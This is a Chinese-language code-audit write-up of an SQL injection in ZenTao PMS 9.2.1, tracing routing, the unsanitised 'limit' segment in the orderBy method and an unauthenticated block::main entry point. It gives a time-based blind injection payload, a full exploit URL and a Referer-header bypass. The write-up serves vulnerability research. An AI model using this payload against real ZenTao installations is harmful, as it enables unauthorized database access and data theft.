代碼審計-禪道9.2.1-sql注入

0x00 前言

審計cms:禪道開源項目管理軟件

版本:9.2.1

工具:phpstorm+xdebug+seay

網站地址:http://localhost/CodeReview/ZenTaoPMS.9.2.1/www/

嚴重參考:

https://www.cnblogs.com/iamstudy/articles/chandao_pentest_1.html

https://www.anquanke.com/post/id/160473

0x01 路由

審計cms,首先要研究cms的路由,關注網站根目錄下的.htaccess文件。該文件出現:

<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_FILENAME} !-d 
  RewriteCond %{REQUEST_FILENAME} !-f 
  RewriteRule (.*)$ index.php/$1 [L]
</IfModule>

所有url,除了文件或者目錄,都重寫到index.php下。既該cms的入口文件是index.php。

查看index.php文件。

加載框架類:

include '../framework/router.class.php';
include '../framework/control.class.php';
include '../framework/model.class.php';
include '../framework/helper.class.php';

實例化一個App:

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

加載常用模塊:

$common = $app->loadCommon();

解析請求、檢查權限、載入模塊:

$app->parseRequest();
$common->checkPriv();
$app->loadModule();

現在分析parseRequest()方法。parseRequest()方法位於\framework\base\router.class.php文件中(通過跟進router::createApp找到parseRequest函數)。內容如下:

 

public function parseRequest()
{
    if(isGetUrl())
    {
        if($this->config->requestType == 'PATH_INFO2') define('FIX_PATH_INFO2', true);
        $this->config->requestType = 'GET';
    }

    if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
    {
        $this->parsePathInfo();
        $this->setRouteByPathInfo();
    }
    elseif($this->config->requestType == 'GET')
    {
        $this->parseGET();
        $this->setRouteByGET();
    }
    else
    {
        $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
    }
}

 

isGetUrl會根據url判斷請求方法是否爲get類型:

function isGetUrl()
{
    $webRoot = getWebRoot();
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}?") === 0) return true;
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php?") === 0) return true;
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php/?") === 0) return true;
    return false;
}

接下來根據config->requestType的值,進入pathinfo分支或者get分支。

parseXXX()作用爲解析出url和顯示類型(viewType:html)

setRouteByXXX()作用爲根據解析出的url,解析並設置 ModuleName和MethodName與ControlName

(涉及相關的配置位於config\config.php和config\my.php下)

至此,路由前期工作完成。

現在分析checkPriv()方法。

checkPriv()方法位於\module\common\model.php文件中(通過跟進router::loadCommon()找到\module\common\model.php,再搜索找到)。內容如下:

public function checkPriv()
{
    $module = $this->app->getModuleName();
    $method = $this->app->getMethodName();
    if(isset($this->app->user->modifyPassword) and $this->app->user->modifyPassword and ($module != 'my' or $method != 'changepassword')) die(js::locate(helper::createLink('my', 'changepassword')));
    if($this->isOpenMethod($module, $method)) return true;
    if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
    if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();

    if(isset($this->app->user))
    {
        if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
    }
    else
    {
        $referer  = helper::safe64Encode($this->app->getURI(true));
        die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
    }
}

獲得模塊名和方法名後:判斷是否需要改密碼;判斷是否使用開放方法;認證用戶,已登錄用戶則判斷用戶是否具有對應方法的訪問權限,否則跳轉到登陸頁面。

權限檢查完畢,就載入對應的模塊和方法,執行對應的應用邏輯。

 

0x02 挖掘sql注入漏洞

挖掘方式:

全項目搜索sql關鍵詞,判斷cms執行查詢的方式,查找直接使用變量進入語句的函數,查找函數使用的method,查找使用method的module,構建payload執行。

全文搜索:select.*from.*where.*

 

 查看搜索結果ID 1:

 

 判斷認爲,禪道cms執行查詢語句是通過調用抽象方法的,並不會直接使用完整的語句。

現在查看對應的抽象方法,有沒有直接使用變量導致可能存在注入漏洞的代碼。

翻看/lib/api/base/dao/dao.class.php,可以確定對應的查詢抽象方法,都位於這個文件下的sql類。

 

 

現在看sql::orderBy()方法:

public function orderBy($order)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;

    $order = str_replace(array('|', ' ', '_'), ' ', $order);

    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = stripos($order, 'limit');
    $orders = $pos ? substr($order, 0, $pos) : $order;
    $limit  = $pos ? substr($order, $pos) : '';
    $orders = trim($orders);
    if(empty($orders)) return $this;
    if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");

    $orders = explode(',', $orders);
    foreach($orders as $i => $order)
    {
        $orderParse = explode(' ', trim($order));
        foreach($orderParse as $key => $value)
        {
            $value = trim($value);
            if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;

            $field = $value;
            /* such as t1.id field. */
            if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
            if(strpos($field, '`') === false) $field = "`$field`";

            $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
            unset($table);
        }
        $orders[$i] = join(' ', $orderParse);
        if(empty($orders[$i])) unset($orders[$i]);
    }
    $order = join(',', $orders) . ' ' . $limit;

    $this->sql .= ' ' . DAO::ORDERBY . " $order";
    return $this;
}

流程如下:

清理特殊字符:

定位limit:

 

 分離limit與orderby部分:

 

 整理orderby部分的格式:

正則匹配大致如下:

a desc

a.id desc

a desc,b desc

 

 

 轉換orderby部分爲數組:

 

 對order數組中數據繼續轉換爲數組:

 

 處理orderby的字段,使得其符合如下模式:

a.id->a.`id`

 對字段處理完成後,重新join爲order數組的元素:

 order數組繼續join爲order字符串,並拼接limit部分:

最終拼接 “order  by”:

 

發現,limit部分未做任何處理,就拼接到查詢語句中,則調用orderBy的地方可能存在sql注入。

 

全文搜索:orderBy\(\$

 

 

 

 

 

 

 

 

 查看搜索結果ID 1,發現是getTrashes函數使用了orderBy:

 

 

可以看到,orderBy函數的參數爲$orderBy,通過形參傳入,我們繼續搜索getTrashes函數,看下誰調用了它,且傳入的$orderBy是否我們可控。

全文搜索:getTrashes\(\$

 查看搜索結果ID 1,發現是trash函數調用了getTrash

 

 

 

可以看到 ,getTrash的參數$type默認值爲‘all’,也是通過形參傳入,我們繼續搜索trash函數。

全文搜索:trash\(\$

沒有結果。說明調用trash函數可能是通過【函數名複製給一個變量,然後直接調用該變量】的形式。

 

看來有難度。

我們重新回到全文搜索調用orderBy函數的階段,我們查看搜索結果ID 5:

 

 printCaseBlock函數在assigntome和openedbyme分支都調用了orderBy,orderBy函數的參數爲$this->params->orderBy

 

 我們繼續查找,誰調用了printCaseBlock函數,還需要確定$this->params->orderBy是否我們可控。

全文搜索:printCaseBlock\(

只找到printCaseBlock函數定義。

所以printCaseBlock函數也應該是通過函數名作爲變量的方式來調用的,而且這個變量也有可能是還會繼續組合的。

 

 分別全文搜索:printCaseBlock    .*?CaseBlock        print.*?Block        printCase.*?

 

 

 

 

 

 

 

 

 

可以看到,全文搜索 print.*?Block ,出來的搜索結果比較多。

查看搜索結果ID 14,block類的main函數在getblockdata分支下調用了print.*?Block函數:

 

 

 看下這個$code從哪兒來,往上翻main的代碼:

 

$code來自於$get數組下的blockid字段

$get數組從哪裏來的呢?main函數是類block的函數,類block繼承於類control:

 

 control繼承於baseControl:

 

 在baseControl類可以看到,$get是就是$_GET

 

 

 繼續分析可以知道,baseControl類中的SetSuperVars設置了$get,來自於$this->app->get

 


 這個app其實就是禪道cms入口文件中實例化的$app,它的類爲router類,繼承於baseRouter類。baseRouter類中的setSuperVars函數實例化super類,將對象賦值給了$get:

 

 super類,其實就是個抽象化的指針:

 

當禪道cms中需要使用超級變量時,比如使用$this->get->key的形式去拿數據,由於本身super對象並不會存儲get數組,它只是存儲了對應的變量標記scope:'get',

所以key字段的值並不存在於super對象中,則php在讀取類中的無法訪問的值時會自動調用類的__get魔術方法,而在super類中實現的__get方法中,會將變量標記'get'對應的全局變量$GET數組中的key字段返回:

 

 

 

至此,可以確定類block的main函數中涉及調用printCaseBlock的變量都是我們可控的。

現在我們來整理下,利用思路:

怎麼進入block:main呢?:

baseRouter::setRouteByGET:

 \config\config.php:

$_GET['m']=block

$_GET['f']=main

 

成功進入block::main後,如何進入到printCaseBlock呢?:

 

$_GET['mode']=getblockdata

$_GET['params']=base64編碼(json格式(xxx))

 

$_GET['blockid']=case

 

成功進入block::printCaseBlock,如何進入到baseDAO::orderBy,且不會執行出錯呢?:

xxx->type=openedbyme

 

xxx->orderby='order語句'

 

xxx->num='1' 

xxx={"type":"openedbyme","orderby"="order語句","num"="1"}

 

 

成功進入baseDAO::orderBy,如何正確插入sql注入語句插入到order語句中?:

 order語句=‘order limit sql注入語句’

(語句中的‘order’是表zt_case的字段,不可隨意使用任意字段,必須得是表zt_case或或者zt_testrun的字段纔不會報錯,原因分析而:

sql語句order by 字段 必須得是查詢的表的字段

在printCaseBLoc函數中的openedbyme分支中,可以看到from(TABLE_CASE),這個TABLE_CASE就是查詢的表:

在config\config.php中定義了:

 

 

 由此得:TABLE_CASE的值爲zt_case)

 

sql注入語句=‘1;select (if(ord(mid((select user()),1,1))=1,1,sleep(2)))--’

 

至此,構造出payload爲:

$_GET['m']=block

$_GET['f']=main

 $_GET['mode']=getblockdata

 $_GET['blockid']=case

 $_GET['params']=base64編碼(json格式(xxx))

xxx={"orderBy":"order limit 1;select (if(ord(mid((select user()),1,1))=1,1,sleep(2)))-- ","num":"1,1","type":"openedbyme"}

 

http://localhost/CodeReview/ZenTaoPMS.9.2.1/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgIChpZihvcmQobWlkKChzZWxlY3QgdXNlcigpKSwxLDEpKT0xLDEsc2xlZXAoMikpKS0tICIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=

 

訪問,發現返回空白

重新檢測block:main,發現在block類的構造函數__contruct函數發現:

剛纔的請求應該是進入到這個if分支中,執行了die('')。

如何繞過?:

只要$_SERVER['http_referer']與common:getSysURL()的值相等,則strpos返回0,則 || 連接的整個表達式的值爲1,則$this->selfCall的值1

則!this->selfCall值爲0,則不會進入if分支,不會執行 die('');

而common:getSysURL():

所以只需要在請求的header添加上:Referer:http://localhost 即可:

 

可以看到耗時2s多,我們傳入的sql注入語句被執行了。

 

ps:1

其實還有個問題,我們知道,有些api是不會直接暴露出來的,可能需要認證後纔可以訪問,其中這個授權的工作是在什麼地方做的呢?

我們跟蹤一下:

index.php:

 這個$common來自何處?index.php:

 

 我們看看這個loadCommon()做了啥,跟進$app:

 

 進入\framework\base\router.class.php,可以看到是載入common模塊,返回commonModel類:

 

模塊都位於\moudle下,找到commom模塊的位置,進入\module\common\model.php,看下checkPriv()函數:

關鍵是isOpenMethod函數,跟進查看:

 可以看到,我們這次審計出的block::main方法是公開的。

 ps:url中的<>會被html實體編碼

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章